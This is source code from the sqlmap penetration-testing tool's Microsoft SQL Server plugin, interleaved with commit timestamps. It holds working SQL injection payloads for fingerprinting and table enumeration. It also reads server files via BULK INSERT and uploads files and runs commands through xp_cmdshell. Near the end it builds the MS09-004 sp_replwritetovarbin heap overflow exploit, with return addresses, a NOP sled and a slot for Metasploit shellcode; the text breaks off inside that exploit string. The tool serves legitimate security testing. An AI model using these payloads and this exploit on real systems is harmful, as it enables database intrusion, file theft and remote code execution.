2008-10-15 19:38:22 +04:00
#!/usr/bin/env python
"""
2008-10-15 19:56:32 +04:00
$ Id $
2008-10-15 19:38:22 +04:00
This file is part of the sqlmap project , http : / / sqlmap . sourceforge . net .
2009-04-22 15:48:07 +04:00
Copyright ( c ) 2007 - 2009 Bernardo Damele A . G . < bernardo . damele @gmail.com >
Copyright ( c ) 2006 Daniele Bellucci < daniele . bellucci @gmail.com >
2008-10-15 19:38:22 +04:00
sqlmap is free software ; you can redistribute it and / or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License .
sqlmap is distributed in the hope that it will be useful , but WITHOUT ANY
WARRANTY ; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE . See the GNU General Public License for more
details .
You should have received a copy of the GNU General Public License along
with sqlmap ; if not , write to the Free Software Foundation , Inc . , 51
Franklin St , Fifth Floor , Boston , MA 02110 - 1301 USA
"""
2009-09-26 03:03:45 +04:00
import binascii
2009-04-22 15:48:07 +04:00
import os
2008-10-15 19:38:22 +04:00
import time
from lib . core . agent import agent
2008-11-16 02:41:31 +03:00
from lib . core . common import formatDBMSfp
2008-11-18 20:42:46 +03:00
from lib . core . common import formatFingerprint
2008-10-15 19:38:22 +04:00
from lib . core . common import getHtmlErrorFp
2009-04-22 15:48:07 +04:00
from lib . core . common import getRange
2010-02-04 17:37:00 +03:00
from lib . core . common import posixToNtSlashes
2009-08-11 13:16:20 +04:00
from lib . core . common import randomInt
2009-04-22 15:48:07 +04:00
from lib . core . common import randomStr
from lib . core . convert import urlencode
2008-10-15 19:38:22 +04:00
from lib . core . data import conf
from lib . core . data import kb
from lib . core . data import logger
from lib . core . data import queries
from lib . core . exception import sqlmapNoneDataException
from lib . core . exception import sqlmapSyntaxException
2009-04-22 15:48:07 +04:00
from lib . core . exception import sqlmapUnsupportedFeatureException
2008-10-15 19:38:22 +04:00
from lib . core . session import setDbms
from lib . core . settings import MSSQL_ALIASES
2008-10-26 20:00:07 +03:00
from lib . core . settings import MSSQL_SYSTEM_DBS
2008-10-15 19:38:22 +04:00
from lib . core . unescaper import unescaper
from lib . request import inject
from lib . request . connect import Connect as Request
from plugins . generic . enumeration import Enumeration
from plugins . generic . filesystem import Filesystem
from plugins . generic . fingerprint import Fingerprint
2009-04-22 15:48:07 +04:00
from plugins . generic . misc import Miscellaneous
2008-10-15 19:38:22 +04:00
from plugins . generic . takeover import Takeover
2009-04-22 15:48:07 +04:00
class MSSQLServerMap ( Fingerprint , Enumeration , Filesystem , Miscellaneous , Takeover ) :
2008-10-15 19:38:22 +04:00
"""
This class defines Microsoft SQL Server methods
"""
def __init__ ( self ) :
2008-10-26 20:00:07 +03:00
self . excludeDbsList = MSSQL_SYSTEM_DBS
2009-04-22 15:48:07 +04:00
2008-10-15 19:38:22 +04:00
Enumeration . __init__ ( self , " Microsoft SQL Server " )
2009-04-22 15:48:07 +04:00
Filesystem . __init__ ( self )
Takeover . __init__ ( self )
2008-10-15 19:38:22 +04:00
unescaper . setUnescape ( MSSQLServerMap . unescape )
@staticmethod
2008-11-02 21:17:12 +03:00
def unescape ( expression , quote = True ) :
if quote :
while True :
index = expression . find ( " ' " )
if index == - 1 :
break
firstIndex = index + 1
index = expression [ firstIndex : ] . find ( " ' " )
if index == - 1 :
2010-01-02 05:02:12 +03:00
raise sqlmapSyntaxException ( " Unenclosed ' in ' %s ' " % expression )
2008-11-02 21:17:12 +03:00
lastIndex = firstIndex + index
old = " ' %s ' " % expression [ firstIndex : lastIndex ]
#unescaped = "("
unescaped = " "
for i in range ( firstIndex , lastIndex ) :
unescaped + = " CHAR( %d ) " % ( ord ( expression [ i ] ) )
if i < lastIndex - 1 :
unescaped + = " + "
#unescaped += ")"
expression = expression . replace ( old , unescaped )
else :
expression = " + " . join ( " CHAR( %d ) " % ord ( c ) for c in expression )
2008-10-15 19:38:22 +04:00
return expression
@staticmethod
def escape ( expression ) :
while True :
index = expression . find ( " CHAR( " )
if index == - 1 :
break
firstIndex = index
index = expression [ firstIndex : ] . find ( " )) " )
if index == - 1 :
2010-01-02 05:02:12 +03:00
raise sqlmapSyntaxException ( " Unenclosed ) in ' %s ' " % expression )
2008-10-15 19:38:22 +04:00
lastIndex = firstIndex + index + 1
old = expression [ firstIndex : lastIndex ]
oldUpper = old . upper ( )
oldUpper = oldUpper . replace ( " CHAR( " , " " ) . replace ( " ) " , " " )
oldUpper = oldUpper . split ( " + " )
escaped = " ' %s ' " % " " . join ( [ chr ( int ( char ) ) for char in oldUpper ] )
expression = expression . replace ( old , escaped )
return expression
def getFingerprint ( self ) :
2010-01-02 05:02:12 +03:00
value = " "
2008-11-18 20:42:46 +03:00
wsOsFp = formatFingerprint ( " web server " , kb . headersFp )
if wsOsFp :
value + = " %s \n " % wsOsFp
2008-11-17 14:22:03 +03:00
2009-04-22 15:48:07 +04:00
if kb . data . banner :
2008-11-18 20:42:46 +03:00
dbmsOsFp = formatFingerprint ( " back-end DBMS " , kb . bannerFp )
2008-11-17 14:22:03 +03:00
2008-11-18 20:42:46 +03:00
if dbmsOsFp :
value + = " %s \n " % dbmsOsFp
2008-11-17 14:22:03 +03:00
2010-01-02 05:02:12 +03:00
value + = " back-end DBMS: "
actVer = formatDBMSfp ( )
2008-10-15 19:38:22 +04:00
if not conf . extensiveFp :
2008-11-17 03:00:54 +03:00
value + = actVer
return value
2008-10-15 19:38:22 +04:00
2010-01-02 05:02:12 +03:00
blank = " " * 15
value + = " active fingerprint: %s " % actVer
2008-10-15 19:38:22 +04:00
2008-11-17 20:41:02 +03:00
if kb . bannerFp :
2010-01-02 05:02:12 +03:00
release = kb . bannerFp [ " dbmsRelease " ]
version = kb . bannerFp [ " dbmsVersion " ]
2008-11-17 20:41:02 +03:00
servicepack = kb . bannerFp [ " dbmsServicePack " ]
2008-10-15 19:38:22 +04:00
if release and version and servicepack :
2010-01-02 05:02:12 +03:00
banVer = " Microsoft SQL Server %s " % release
2008-10-15 19:38:22 +04:00
banVer + = " Service Pack %s " % servicepack
banVer + = " version %s " % version
value + = " \n %s banner parsing fingerprint: %s " % ( blank , banVer )
2008-11-17 03:00:54 +03:00
htmlErrorFp = getHtmlErrorFp ( )
2008-10-15 19:38:22 +04:00
2008-11-17 03:00:54 +03:00
if htmlErrorFp :
value + = " \n %s html error message fingerprint: %s " % ( blank , htmlErrorFp )
2008-10-15 19:38:22 +04:00
return value
def checkDbms ( self ) :
if conf . dbms in MSSQL_ALIASES and kb . dbmsVersion and kb . dbmsVersion [ 0 ] . isdigit ( ) :
setDbms ( " Microsoft SQL Server %s " % kb . dbmsVersion [ 0 ] )
2009-04-22 15:48:07 +04:00
self . getBanner ( )
2008-11-17 14:22:03 +03:00
2008-10-15 19:38:22 +04:00
if not conf . extensiveFp :
2009-04-22 15:48:07 +04:00
kb . os = " Windows "
2008-10-15 19:38:22 +04:00
return True
2009-04-22 15:48:07 +04:00
infoMsg = " testing Microsoft SQL Server "
logger . info ( infoMsg )
2008-10-15 19:38:22 +04:00
2008-12-23 02:34:22 +03:00
payload = agent . fullPayload ( " AND LEN(@@VERSION)=LEN(@@VERSION) " )
2008-12-23 02:26:44 +03:00
result = Request . queryPage ( payload )
2010-01-02 05:02:12 +03:00
if result :
2009-04-22 15:48:07 +04:00
infoMsg = " confirming Microsoft SQL Server "
logger . info ( infoMsg )
2008-12-23 02:32:43 +03:00
2010-01-02 05:02:12 +03:00
for version in ( 0 , 5 , 8 ) :
2009-08-11 13:16:20 +04:00
randInt = randomInt ( )
query = " AND %d =(SELECT (CASE WHEN (( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)= %d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)= %d )) THEN %d ELSE %d END)) " % ( randInt , version , version , randInt , ( randInt + 1 ) )
payload = agent . fullPayload ( query )
2008-12-23 02:26:44 +03:00
result = Request . queryPage ( payload )
2010-01-02 05:02:12 +03:00
if result :
2008-12-23 02:26:44 +03:00
if version == 8 :
2010-01-02 05:02:12 +03:00
kb . dbmsVersion = [ " 2008 " ]
2009-04-22 15:48:07 +04:00
break
2008-12-23 02:26:44 +03:00
elif version == 5 :
2010-01-02 05:02:12 +03:00
kb . dbmsVersion = [ " 2005 " ]
2008-12-23 02:26:44 +03:00
2009-04-22 15:48:07 +04:00
break
2009-04-23 12:36:39 +04:00
elif version == 0 :
2010-01-02 05:02:12 +03:00
kb . dbmsVersion = [ " 2000 " ]
2009-04-23 12:36:39 +04:00
break
2009-04-22 15:48:07 +04:00
else :
2009-08-11 13:16:20 +04:00
query = " AND %d =(SELECT (CASE WHEN (SUBSTRING((@@VERSION), 22, 1)=7) THEN %d ELSE %d END)) " % ( randInt , randInt , ( randInt + 1 ) )
payload = agent . fullPayload ( query )
2009-04-22 15:48:07 +04:00
result = Request . queryPage ( payload )
2010-01-02 05:02:12 +03:00
if result :
kb . dbmsVersion = [ " 7.0 " ]
2009-04-22 15:48:07 +04:00
break
2008-10-15 19:38:22 +04:00
if kb . dbmsVersion :
setDbms ( " Microsoft SQL Server %s " % kb . dbmsVersion [ 0 ] )
else :
setDbms ( " Microsoft SQL Server " )
2009-04-22 15:48:07 +04:00
self . getBanner ( )
kb . os = " Windows "
2008-10-15 19:38:22 +04:00
return True
else :
warnMsg = " the back-end DMBS is not Microsoft SQL Server "
logger . warn ( warnMsg )
return False
2009-04-22 15:48:07 +04:00
def checkDbmsOs ( self , detailed = False ) :
if kb . os and kb . osVersion and kb . osSP :
return
if not kb . os :
kb . os = " Windows "
2010-01-02 05:02:12 +03:00
if not detailed :
2009-04-22 15:48:07 +04:00
return
infoMsg = " fingerprinting the back-end DBMS operating system "
infoMsg + = " version and service pack "
logger . info ( infoMsg )
infoMsg = " the back-end DBMS operating system is %s " % kb . os
2009-09-26 03:03:45 +04:00
self . createSupportTbl ( self . fileTblName , self . tblField , " varchar(1000) " )
2009-04-22 15:48:07 +04:00
inject . goStacked ( " INSERT INTO %s ( %s ) VALUES ( %s ) " % ( self . fileTblName , self . tblField , " @@VERSION " ) )
2010-01-02 05:02:12 +03:00
versions = { " 2003 " : ( " 5.2 " , ( 2 , 1 ) ) ,
2010-02-10 18:51:52 +03:00
#"2003": ("6.0", (2, 1)),
2010-01-02 05:02:12 +03:00
" 2008 " : ( " 7.0 " , ( 1 , ) ) ,
" 2000 " : ( " 5.0 " , ( 4 , 3 , 2 , 1 ) ) ,
" XP " : ( " 5.1 " , ( 2 , 1 ) ) ,
" NT " : ( " 4.0 " , ( 6 , 5 , 4 , 3 , 2 , 1 ) ) }
2009-04-22 15:48:07 +04:00
# Get back-end DBMS underlying operating system version
for version , data in versions . items ( ) :
query = " (SELECT LEN( %s ) FROM %s WHERE %s " % ( self . tblField , self . fileTblName , self . tblField )
query + = " LIKE ' % Windows NT " + data [ 0 ] + " % ' )>0 "
query = agent . forgeCaseStatement ( query )
if inject . getValue ( query , charsetType = 1 ) == " 1 " :
kb . osVersion = version
infoMsg + = " %s " % kb . osVersion
break
if not kb . osVersion :
kb . osVersion = " 2003 "
kb . osSP = 2
warnMsg = " unable to fingerprint the underlying operating "
warnMsg + = " system version, assuming it is Windows "
warnMsg + = " %s Service Pack %d " % ( kb . osVersion , kb . osSP )
logger . warn ( warnMsg )
self . cleanup ( onlyFileTbl = True )
return
# Get back-end DBMS underlying operating system service pack
sps = versions [ kb . osVersion ] [ 1 ]
for sp in sps :
query = " (SELECT LEN( %s ) FROM %s WHERE %s " % ( self . tblField , self . fileTblName , self . tblField )
query + = " LIKE ' % Service Pack " + str ( sp ) + " % ' )>0 "
query = agent . forgeCaseStatement ( query )
if inject . getValue ( query , charsetType = 1 ) == " 1 " :
kb . osSP = sp
break
if not kb . osSP :
debugMsg = " assuming the operating system has no service pack "
logger . debug ( debugMsg )
kb . osSP = 0
if kb . osVersion :
infoMsg + = " Service Pack %d " % kb . osSP
logger . info ( infoMsg )
self . cleanup ( onlyFileTbl = True )
2008-10-15 19:38:22 +04:00
def getPrivileges ( self ) :
2008-11-15 04:10:29 +03:00
warnMsg = " on Microsoft SQL Server it is not possible to fetch "
warnMsg + = " database users privileges "
2008-10-15 19:38:22 +04:00
logger . warn ( warnMsg )
return { }
def getTables ( self ) :
2009-04-22 15:48:07 +04:00
infoMsg = " fetching tables "
2008-10-15 19:38:22 +04:00
if conf . db :
2009-04-22 15:48:07 +04:00
infoMsg + = " for database ' %s ' " % conf . db
logger . info ( infoMsg )
2008-10-15 19:38:22 +04:00
rootQuery = queries [ kb . dbms ] . tables
if not conf . db :
2009-04-22 15:48:07 +04:00
if not len ( kb . data . cachedDbs ) :
2008-10-15 19:38:22 +04:00
dbs = self . getDbs ( )
else :
2009-04-22 15:48:07 +04:00
dbs = kb . data . cachedDbs
2008-10-15 19:38:22 +04:00
else :
if " , " in conf . db :
dbs = conf . db . split ( " , " )
else :
dbs = [ conf . db ]
2009-04-22 15:48:07 +04:00
if kb . unionPosition :
2008-10-15 19:38:22 +04:00
for db in dbs :
if conf . excludeSysDbs and db in self . excludeDbsList :
2009-04-22 15:48:07 +04:00
infoMsg = " skipping system database ' %s ' " % db
logger . info ( infoMsg )
2008-10-15 19:38:22 +04:00
continue
query = rootQuery [ " inband " ] [ " query " ] % db
value = inject . getValue ( query , blind = False )
if value :
2009-04-22 15:48:07 +04:00
kb . data . cachedTables [ db ] = value
2008-10-15 19:38:22 +04:00
2009-04-22 15:48:07 +04:00
if not kb . data . cachedTables :
2008-10-15 19:38:22 +04:00
for db in dbs :
if conf . excludeSysDbs and db in self . excludeDbsList :
2009-04-22 15:48:07 +04:00
infoMsg = " skipping system database ' %s ' " % db
logger . info ( infoMsg )
2008-10-15 19:38:22 +04:00
continue
2009-04-22 15:48:07 +04:00
infoMsg = " fetching number of tables for "
infoMsg + = " database ' %s ' " % db
logger . info ( infoMsg )
2008-10-15 19:38:22 +04:00
query = rootQuery [ " blind " ] [ " count " ] % db
2009-04-22 15:48:07 +04:00
count = inject . getValue ( query , inband = False , charsetType = 2 )
2008-10-15 19:38:22 +04:00
2009-02-25 23:11:14 +03:00
if not count . isdigit ( ) or not len ( count ) or count == " 0 " :
2008-10-15 19:38:22 +04:00
warnMsg = " unable to retrieve the number of "
warnMsg + = " tables for database ' %s ' " % db
logger . warn ( warnMsg )
continue
tables = [ ]
for index in range ( int ( count ) ) :
query = rootQuery [ " blind " ] [ " query " ] % ( db , index , db )
table = inject . getValue ( query , inband = False )
tables . append ( table )
if tables :
2009-04-22 15:48:07 +04:00
kb . data . cachedTables [ db ] = tables
2008-10-15 19:38:22 +04:00
else :
warnMsg = " unable to retrieve the tables "
warnMsg + = " for database ' %s ' " % db
logger . warn ( warnMsg )
2009-04-22 15:48:07 +04:00
if not kb . data . cachedTables :
2008-10-15 19:38:22 +04:00
errMsg = " unable to retrieve the tables for any database "
2010-01-02 05:02:12 +03:00
raise sqlmapNoneDataException ( errMsg )
2008-10-15 19:38:22 +04:00
2009-04-22 15:48:07 +04:00
return kb . data . cachedTables
def unionReadFile ( self , rFile ) :
errMsg = " Microsoft SQL Server does not support file reading "
errMsg + = " with UNION query SQL injection technique "
2010-01-02 05:02:12 +03:00
raise sqlmapUnsupportedFeatureException ( errMsg )
2009-04-22 15:48:07 +04:00
def stackedReadFile ( self , rFile ) :
infoMsg = " fetching file: ' %s ' " % rFile
logger . info ( infoMsg )
result = [ ]
txtTbl = self . fileTblName
hexTbl = " %s hex " % self . fileTblName
2009-09-26 03:03:45 +04:00
self . createSupportTbl ( txtTbl , self . tblField , " text " )
inject . goStacked ( " DROP TABLE %s " % hexTbl )
inject . goStacked ( " CREATE TABLE %s (id INT IDENTITY(1, 1) PRIMARY KEY, %s %s ) " % ( hexTbl , self . tblField , " VARCHAR(4096) " ) )
2009-04-22 15:48:07 +04:00
logger . debug ( " loading the content of file ' %s ' into support table " % rFile )
2009-09-26 03:03:45 +04:00
inject . goStacked ( " BULK INSERT %s FROM ' %s ' WITH (CODEPAGE= ' RAW ' , FIELDTERMINATOR= ' %s ' , ROWTERMINATOR= ' %s ' ) " % ( txtTbl , rFile , randomStr ( 10 ) , randomStr ( 10 ) ) , silent = True )
2009-04-22 15:48:07 +04:00
# Reference: http://support.microsoft.com/kb/104829
binToHexQuery = """
DECLARE @charset VARCHAR ( 16 )
DECLARE @counter INT
DECLARE @hexstr VARCHAR ( 4096 )
DECLARE @length INT
DECLARE @chunk INT
SET @charset = ' 0123456789ABCDEF '
SET @counter = 1
SET @hexstr = ' '
SET @length = ( SELECT DATALENGTH ( % s ) FROM % s )
SET @chunk = 1024
WHILE ( @counter < = @length )
BEGIN
DECLARE @tempint INT
DECLARE @firstint INT
DECLARE @secondint INT
SET @tempint = CONVERT ( INT , ( SELECT ASCII ( SUBSTRING ( % s , @counter , 1 ) ) FROM % s ) )
SET @firstint = floor ( @tempint / 16 )
SET @secondint = @tempint - ( @firstint * 16 )
SET @hexstr = @hexstr + SUBSTRING ( @charset , @firstint + 1 , 1 ) + SUBSTRING ( @charset , @secondint + 1 , 1 )
SET @counter = @counter + 1
IF @counter % % @chunk = 0
BEGIN
INSERT INTO % s ( % s ) VALUES ( @hexstr )
SET @hexstr = ' '
END
END
IF @counter % % ( @chunk ) != 0
BEGIN
INSERT INTO % s ( % s ) VALUES ( @hexstr )
END
""" % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField)
binToHexQuery = binToHexQuery . replace ( " " , " " ) . replace ( " \n " , " " )
binToHexQuery = urlencode ( binToHexQuery , convall = True )
inject . goStacked ( binToHexQuery )
if kb . unionPosition :
result = inject . getValue ( " SELECT %s FROM %s ORDER BY id ASC " % ( self . tblField , hexTbl ) , sort = False , resumeValue = False , blind = False )
if not result :
result = [ ]
count = inject . getValue ( " SELECT COUNT( %s ) FROM %s " % ( self . tblField , hexTbl ) , resumeValue = False , charsetType = 2 )
if not count . isdigit ( ) or not len ( count ) or count == " 0 " :
errMsg = " unable to retrieve the content of the "
errMsg + = " file ' %s ' " % rFile
2010-01-02 05:02:12 +03:00
raise sqlmapNoneDataException ( errMsg )
2009-04-22 15:48:07 +04:00
indexRange = getRange ( count )
for index in indexRange :
chunk = inject . getValue ( " SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC " % ( self . tblField , hexTbl , self . tblField , index , self . tblField , hexTbl ) , unpack = False , resumeValue = False , sort = False , charsetType = 3 )
result . append ( chunk )
inject . goStacked ( " DROP TABLE %s " % hexTbl )
return result
def unionWriteFile ( self , wFile , dFile , fileType , confirm = True ) :
errMsg = " Microsoft SQL Server does not support file upload with "
errMsg + = " UNION query SQL injection technique "
2010-01-02 05:02:12 +03:00
raise sqlmapUnsupportedFeatureException ( errMsg )
2009-04-22 15:48:07 +04:00
def stackedWriteFile ( self , wFile , dFile , fileType , confirm = True ) :
# NOTE: this is needed here because we use xp_cmdshell extended
# procedure to write a file on the back-end Microsoft SQL Server
# file system. Maybe it won't be required to write text files
self . initEnv ( )
self . getRemoteTempPath ( )
debugMsg = " going to use xp_cmdshell extended procedure to write "
debugMsg + = " the %s file content to file ' %s ' " % ( fileType , dFile )
logger . debug ( debugMsg )
debugSize = 0xFF00
2010-02-04 17:37:00 +03:00
tmpPath = posixToNtSlashes ( conf . tmpPath )
2009-04-22 15:48:07 +04:00
dFileName = os . path . split ( dFile ) [ 1 ]
2010-02-04 17:37:00 +03:00
dFile = posixToNtSlashes ( dFile )
2009-04-22 15:48:07 +04:00
wFileSize = os . path . getsize ( wFile )
wFilePointer = open ( wFile , " rb " )
wFileContent = wFilePointer . read ( )
wFilePointer . close ( )
if wFileSize < debugSize :
2009-04-28 03:05:11 +04:00
chunkName = self . updateBinChunk ( wFileContent , tmpPath )
2009-04-22 15:48:07 +04:00
sFile = " %s \ %s " % ( tmpPath , dFileName )
logger . debug ( " moving binary file %s to %s " % ( sFile , dFile ) )
2010-01-02 05:02:12 +03:00
commands = ( " cd %s " % tmpPath ,
" ren %s %s " % ( chunkName , dFileName ) ,
" move /Y %s %s " % ( dFileName , dFile ) )
2009-04-22 15:48:07 +04:00
complComm = " & " . join ( command for command in commands )
forgedCmd = self . xpCmdshellForgeCmd ( complComm )
self . execCmd ( forgedCmd )
else :
infoMsg = " the %s file is bigger than %d " % ( fileType , debugSize )
infoMsg + = " bytes. sqlmap will split it into chunks, upload "
infoMsg + = " them and recreate the original file out of the "
infoMsg + = " binary chunks server-side, wait.. "
logger . info ( infoMsg )
counter = 1
for i in range ( 0 , wFileSize , debugSize ) :
2010-01-02 05:02:12 +03:00
wFileChunk = wFileContent [ i : i + debugSize ]
2009-07-06 18:40:33 +04:00
chunkName = self . updateBinChunk ( wFileChunk , tmpPath )
2009-04-22 15:48:07 +04:00
if i == 0 :
infoMsg = " renaming chunk "
copyCmd = " ren %s %s " % ( chunkName , dFileName )
else :
infoMsg = " appending chunk "
copyCmd = " copy /B /Y %s + %s %s " % ( dFileName , chunkName , dFileName )
infoMsg + = " %s \ %s to %s \ %s " % ( tmpPath , chunkName , tmpPath , dFileName )
logger . debug ( infoMsg )
2010-01-02 05:02:12 +03:00
commands = ( " cd %s " % tmpPath ,
2009-04-22 15:48:07 +04:00
copyCmd ,
2010-01-02 05:02:12 +03:00
" del /F %s " % chunkName )
2009-04-22 15:48:07 +04:00
complComm = " & " . join ( command for command in commands )
forgedCmd = self . xpCmdshellForgeCmd ( complComm )
self . execCmd ( forgedCmd )
logger . info ( " file chunk %d written " % counter )
counter + = 1
sFile = " %s \ %s " % ( tmpPath , dFileName )
logger . debug ( " moving binary file %s to %s " % ( sFile , dFile ) )
2010-01-02 05:02:12 +03:00
commands = ( " cd %s " % tmpPath ,
" move /Y %s %s " % ( dFileName , dFile ) )
2009-04-22 15:48:07 +04:00
complComm = " & " . join ( command for command in commands )
forgedCmd = self . xpCmdshellForgeCmd ( complComm )
self . execCmd ( forgedCmd )
2010-01-02 05:02:12 +03:00
if confirm :
2009-04-22 15:48:07 +04:00
self . askCheckWrittenFile ( wFile , dFile , fileType )
def uncPathRequest ( self ) :
#inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
inject . goStacked ( " EXEC master..xp_dirtree ' %s ' " % self . uncPath )
def spHeapOverflow ( self ) :
"""
References :
* http : / / www . microsoft . com / technet / security / bulletin / MS09 - 004. mspx
* http : / / support . microsoft . com / kb / 959420
"""
returns = {
2009-09-26 03:03:45 +04:00
# 2003 Service Pack 0
2010-01-02 05:02:12 +03:00
" 2003-0 " : ( " " ) ,
2009-09-26 03:03:45 +04:00
# 2003 Service Pack 1
2010-01-02 05:02:12 +03:00
" 2003-1 " : ( " CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c) " , " CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c) " , " CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c) " , " CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c) " , " CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c) " , " CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c) " , " CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c) " , " CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c) " ) ,
2009-09-26 03:03:45 +04:00
# 2003 Service Pack 2 updated at 12/2008
2010-01-02 05:02:12 +03:00
#"2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ),
2009-11-18 02:33:20 +03:00
# 2003 Service Pack 2 updated at 05/2009
2010-01-02 05:02:12 +03:00
" 2003-2 " : ( " CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77) " , " CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c) " , " CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c) " , " CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c) " , " CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c) " , " CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c) " , " CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c) " , " CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c) " )
2009-09-26 03:03:45 +04:00
# 2003 Service Pack 2 updated at 09/2009
2010-01-02 05:02:12 +03:00
#"2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"),
2009-04-22 15:48:07 +04:00
}
2009-09-26 03:03:45 +04:00
addrs = None
2009-04-22 15:48:07 +04:00
2009-09-26 03:03:45 +04:00
for versionSp , data in returns . items ( ) :
version , sp = versionSp . split ( " - " )
sp = int ( sp )
2009-04-22 15:48:07 +04:00
if kb . osVersion == version and kb . osSP == sp :
2009-09-26 03:03:45 +04:00
addrs = data
2009-04-22 15:48:07 +04:00
break
2009-09-26 03:03:45 +04:00
if addrs is None :
2009-04-22 15:48:07 +04:00
errMsg = " sqlmap can not exploit the stored procedure buffer "
errMsg + = " overflow because it does not have a valid return "
errMsg + = " code for the underlying operating system (Windows "
2009-09-26 03:03:45 +04:00
errMsg + = " %s Service Pack %d ) " % ( kb . osVersion , kb . osSP )
2010-01-02 05:02:12 +03:00
raise sqlmapUnsupportedFeatureException ( errMsg )
2009-04-22 15:48:07 +04:00
2009-09-26 03:03:45 +04:00
shellcodeChar = " "
hexStr = binascii . hexlify ( self . shellcodeString [ : - 1 ] )
for hexPair in range ( 0 , len ( hexStr ) , 2 ) :
shellcodeChar + = " CHAR(0x %s )+ " % hexStr [ hexPair : hexPair + 2 ]
shellcodeChar = shellcodeChar [ : - 1 ]
2009-04-22 15:48:07 +04:00
self . spExploit = """
DECLARE @buf NVARCHAR ( 4000 ) ,
@val NVARCHAR ( 4 ) ,
@counter INT
SET @buf = '
2009-09-26 03:03:45 +04:00
DECLARE @retcode int , @end_offset int , @vb_buffer varbinary , @vb_bufferlen int
EXEC master . dbo . sp_replwritetovarbin 347 , @end_offset output , @vb_buffer output , @vb_bufferlen output , '''
2009-04-22 15:48:07 +04:00
SET @val = CHAR ( 0x41 )
SET @counter = 0
WHILE @counter < 3320
BEGIN
2009-09-26 03:03:45 +04:00
SET @counter = @counter + 1
IF @counter = 411
BEGIN
/ * pointer to call [ ecx + 8 ] * /
SET @buf = @buf + % s
/ * push ebp , pop esp , ret 4 * /
SET @buf = @buf + % s
/ * push ecx , pop esp , pop ebp , retn 8 * /
SET @buf = @buf + % s
/ * Garbage * /
SET @buf = @buf + CHAR ( 0x51 ) + CHAR ( 0x51 ) + CHAR ( 0x51 ) + CHAR ( 0x51 )
/ * retn 1 c * /
SET @buf = @buf + % s
/ * retn 1 c * /
SET @buf = @buf + % s
/ * anti DEP * /
SET @buf = @buf + % s
/ * jmp esp * /
SET @buf = @buf + % s
/ * jmp esp * /
SET @buf = @buf + % s
SET @buf = @buf + CHAR ( 0x90 ) + CHAR ( 0x90 ) + CHAR ( 0x90 ) + CHAR ( 0x90 )
SET @buf = @buf + CHAR ( 0x90 ) + CHAR ( 0x90 ) + CHAR ( 0x90 ) + CHAR ( 0x90 )
SET @buf = @buf + CHAR ( 0x90 ) + CHAR ( 0x90 ) + CHAR ( 0x90 ) + CHAR ( 0x90 )
SET @buf = @buf + CHAR ( 0x90 ) + CHAR ( 0x90 ) + CHAR ( 0x90 ) + CHAR ( 0x90 )
SET @buf = @buf + CHAR ( 0x90 ) + CHAR ( 0x90 ) + CHAR ( 0x90 ) + CHAR ( 0x90 )
SET @buf = @buf + CHAR ( 0x90 ) + CHAR ( 0x90 ) + CHAR ( 0x90 ) + CHAR ( 0x90 )
set @buf = @buf + CHAR ( 0x64 ) + CHAR ( 0x8B ) + CHAR ( 0x25 ) + CHAR ( 0x00 ) + CHAR ( 0x00 ) + CHAR ( 0x00 ) + CHAR ( 0x00 )
set @buf = @buf + CHAR ( 0x8B ) + CHAR ( 0xEC )
set @buf = @buf + CHAR ( 0x83 ) + CHAR ( 0xEC ) + CHAR ( 0x20 )
/ * Metasploit shellcode * /
SET @buf = @buf + % s
SET @buf = @buf + CHAR ( 0x6a ) + CHAR ( 0x00 ) + char ( 0xc3 )
